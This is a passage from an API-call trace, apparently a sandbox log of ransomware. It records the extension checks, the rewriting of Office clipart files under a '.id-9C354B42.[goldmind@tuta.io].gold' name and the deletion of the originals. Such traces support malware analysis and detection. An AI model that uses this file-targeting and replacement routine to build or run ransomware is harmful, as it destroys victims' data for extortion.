Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString=".doc") returned 4 [0110.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString=".docx") returned 5 [0110.497] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.497] lstrlenW (lpString=".pdf") returned 4 [0110.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString=".xls") returned 4 [0110.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.497] lstrlenW (lpString=".xlsx") returned 5 [0110.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.497] lstrlenW (lpString=".ppt") returned 4 [0110.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString=".zip") returned 4 [0110.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.497] lstrlenW (lpString=".rar") returned 4 [0110.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString=".bz2") returned 4 [0110.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString=".7z") returned 3 [0110.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString=".dbf") returned 4 [0110.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString=".1cd") returned 4 [0110.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.497] lstrlenW (lpString=".jpg") returned 4 [0110.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString=".doc") returned 4 [0110.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString=".docx") returned 5 [0110.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.498] lstrlenW (lpString=".pdf") returned 4 [0110.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString=".xls") returned 4 [0110.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.498] lstrlenW (lpString=".xlsx") returned 5 [0110.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.498] lstrlenW (lpString=".ppt") returned 4 [0110.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString=".zip") returned 4 [0110.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.498] lstrlenW (lpString=".rar") returned 4 [0110.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString=".bz2") returned 4 [0110.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString=".7z") returned 3 [0110.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString=".dbf") returned 4 [0110.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString=".1cd") returned 4 [0110.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned 63 [0110.498] lstrlenW (lpString=".jpg") returned 4 [0110.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.498] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.498] lstrlenW (lpString="J0153089.WMF") returned 12 [0110.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.499] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7848) returned 1 [0110.499] CloseHandle (hObject=0x194) returned 1 [0110.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0110.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0110.499] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.499] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0110.500] GetLastError () returned 0x0 [0110.500] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1ea8, lpOverlapped=0x0) returned 1 [0110.529] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1eb0, lpOverlapped=0x0) returned 1 [0110.529] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.529] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.530] SetEndOfFile (hFile=0x38c) returned 1 [0110.530] CloseHandle (hObject=0x38c) returned 1 [0110.530] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.530] SetEndOfFile (hFile=0x194) returned 1 [0110.531] CloseHandle (hObject=0x194) returned 1 [0110.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0110.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".doc") returned 4 [0110.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".docx") returned 5 [0110.533] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0110.533] lstrlenW (lpString=".pdf") returned 4 [0110.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".xls") returned 4 [0110.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.533] lstrlenW (lpString=".xlsx") returned 5 [0110.533] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0110.533] lstrlenW (lpString=".ppt") returned 4 [0110.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".zip") returned 4 [0110.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.533] lstrlenW (lpString=".rar") returned 4 [0110.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".bz2") returned 4 [0110.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".7z") returned 3 [0110.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".dbf") returned 4 [0110.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".1cd") returned 4 [0110.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".jpg") returned 4 [0110.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".doc") returned 4 [0110.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".docx") returned 5 [0110.533] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0110.533] lstrlenW (lpString=".pdf") returned 4 [0110.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".xls") returned 4 [0110.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.533] lstrlenW (lpString=".xlsx") returned 5 [0110.533] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0110.533] lstrlenW (lpString=".ppt") returned 4 [0110.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.533] lstrlenW (lpString=".zip") returned 4 [0110.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.533] lstrlenW (lpString=".rar") returned 4 [0110.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".bz2") returned 4 [0110.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.533] lstrlenW (lpString=".7z") returned 3 [0110.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.534] lstrlenW (lpString=".dbf") returned 4 [0110.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.534] lstrlenW (lpString=".1cd") returned 4 [0110.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0110.534] lstrlenW (lpString=".jpg") returned 4 [0110.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.534] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.534] lstrlenW (lpString="J0153093.WMF") returned 12 [0110.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.538] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8880) returned 1 [0110.538] CloseHandle (hObject=0x3c4) returned 1 [0110.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0110.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.541] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.541] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.542] GetLastError () returned 0x0 [0110.542] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x22b0, lpOverlapped=0x0) returned 1 [0110.543] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x22c0, lpOverlapped=0x0) returned 1 [0110.544] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.544] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.544] SetEndOfFile (hFile=0x3b0) returned 1 [0110.547] CloseHandle (hObject=0x3b0) returned 1 [0110.547] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.547] SetEndOfFile (hFile=0x3c4) returned 1 [0110.549] CloseHandle (hObject=0x3c4) returned 1 [0110.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString=".doc") returned 4 [0110.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString=".docx") returned 5 [0110.550] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.550] lstrlenW (lpString=".pdf") returned 4 [0110.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString=".xls") returned 4 [0110.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.550] lstrlenW (lpString=".xlsx") returned 5 [0110.550] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.550] lstrlenW (lpString=".ppt") returned 4 [0110.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString=".zip") returned 4 [0110.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.550] lstrlenW (lpString=".rar") returned 4 [0110.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString=".bz2") returned 4 [0110.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString=".7z") returned 3 [0110.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString=".dbf") returned 4 [0110.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString=".1cd") returned 4 [0110.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString=".jpg") returned 4 [0110.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.551] lstrlenW (lpString=".doc") returned 4 [0110.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString=".docx") returned 5 [0110.551] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.551] lstrlenW (lpString=".pdf") returned 4 [0110.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString=".xls") returned 4 [0110.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.551] lstrlenW (lpString=".xlsx") returned 5 [0110.551] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.551] lstrlenW (lpString=".ppt") returned 4 [0110.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.551] lstrlenW (lpString=".zip") returned 4 [0110.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.551] lstrlenW (lpString=".rar") returned 4 [0110.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString=".bz2") returned 4 [0110.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString=".7z") returned 3 [0110.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.551] lstrlenW (lpString=".dbf") returned 4 [0110.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.551] lstrlenW (lpString=".1cd") returned 4 [0110.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0110.551] lstrlenW (lpString=".jpg") returned 4 [0110.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.551] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.551] lstrlenW (lpString="J0153095.WMF") returned 12 [0110.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.552] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3704) returned 1 [0110.552] CloseHandle (hObject=0x3c4) returned 1 [0110.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0110.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.552] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.553] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.553] GetLastError () returned 0x0 [0110.553] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe78, lpOverlapped=0x0) returned 1 [0110.554] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0110.555] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.555] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.555] SetEndOfFile (hFile=0x3b0) returned 1 [0110.555] CloseHandle (hObject=0x3b0) returned 1 [0110.555] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.555] SetEndOfFile (hFile=0x3c4) returned 1 [0110.557] CloseHandle (hObject=0x3c4) returned 1 [0110.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0110.558] lstrlenW (lpString=".doc") returned 4 [0110.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.558] lstrlenW (lpString=".docx") returned 5 [0110.558] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0110.558] lstrlenW (lpString=".pdf") returned 4 [0110.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.558] lstrlenW 